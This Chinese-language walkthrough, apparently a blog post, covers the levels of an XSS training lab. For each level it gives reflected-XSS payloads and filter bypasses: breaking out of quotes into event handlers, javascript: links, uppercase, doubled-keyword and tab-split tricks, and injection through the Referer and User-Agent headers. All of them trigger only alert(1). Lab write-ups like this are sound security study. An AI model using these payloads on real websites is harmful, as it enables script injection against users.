目录
XSS类型![](https://i-blog.csdnimg.cn/blog_migrate/ff6341da9c6599955b08e86199fd3e3f.png)
level 1 无过滤
没有任何防护,直接url传xss
name=<script>alert(1)</script>
level 2 input闭合
有个input标签,尝试用"> 闭合标签
(在网页源代码中,我们输入的数据,是在表单中的value属性内,所以需要先闭合input标签,然后在注入代码,闭合标签)
"><script>alert(1)</script>
level 3 单引号闭合+添加事件
测试发现尖括号被转换字符实体了, 并且这题用单引号闭合
不能script代码,转变方向,使用表单中的事件来调用alert(),前后单引号都要闭合
' onclick='alert(1)
level 4 双引号闭合+添加事件
尝试后,查看源码,发现是过滤了<>, 也是"闭合
绕过与上题类似
test" onclick="alert(1)
level 5 JavaScript伪协议
这一关把ri转换为r_i,所以考虑绕过该机制
然后发现on也被过滤了,而且所有的事件属性都是带有on的,所以在此处无法采用事件
构造一个Payload闭合闭合原标签,重新创建一个a标签
a标签中引入一个script超链接来调用弹窗
"><a href="javascript:alert(1)">link</a>
level 6 大小写绕过
尝试之后还是对关键字进行了过滤
尝试第五关的方式"><a href="javascript:alert(1)">link</a>
这一关没有过滤大小写,用大写HREF 是可以的,
所有的标签都可以用,只要换成大写,或大小写混合就可以了
"><a HREF="javascript:alert(1)">link</a>
"><SCRIPT>alert(1)</SCRIPT>
level 7 双写绕过
测试一下
直接过滤为空了,所以考虑双写关键字
"><scscriptript>alert(1)</scscriptript>
level 8 编码绕过
过滤了关键字,这题给了a链接,所以我们在这里操作
script转字符实体是script
构造payload
javascript:alert(1)
这一关我们还有一种别的方法是利用tab键进行绕过 ,用tab分隔script
javasc ript:alert(1)
level 9 编码+检测关键字
用第八关方式,回显这个
payload后面要加上 http://
javasc ript:alert(1)//http://
javascript:alert(1)//http://
level 10 隐藏信息
界面没有输入点,input被隐藏了
F12删除hidden,因为尖括号被过滤了,所以使用事件 ,
"type="text" onclick="alert(1)
也可以url直接补上
/level10.php?t_sort="onclick=alert(1) type=text"
level 11 Referer
看wp也不是很明白,就是说抓个包,修改referer
抓到数据包后在里面添加referer头可以实现input注入
那么可以通过修改referer来xss攻击
referer: "type="text" onclick="alert(1)
然后放包就行了
level 12 User-agent
这题这里又是ua,也就是User-agent,
我们继续判断是在User-agent处进行xss,抓包处理,确实如此
直接在UA后面添加就可
放包通过
level 13 cookie
这里又是cookie,老方法试一下,我这里文件出问题了没有出来
,看wp与前两题思路一样
level 16 空格实体转义
过滤了script和空格并且把/替换成了 ;但是没有过滤<>所以我们构造语句:
构造语句:
<img
src=”111”
onerror=alert(1)
>
可以使用%0a换行,也就是
<img%0asrc="111"%0aonerror=alert(1)%0a>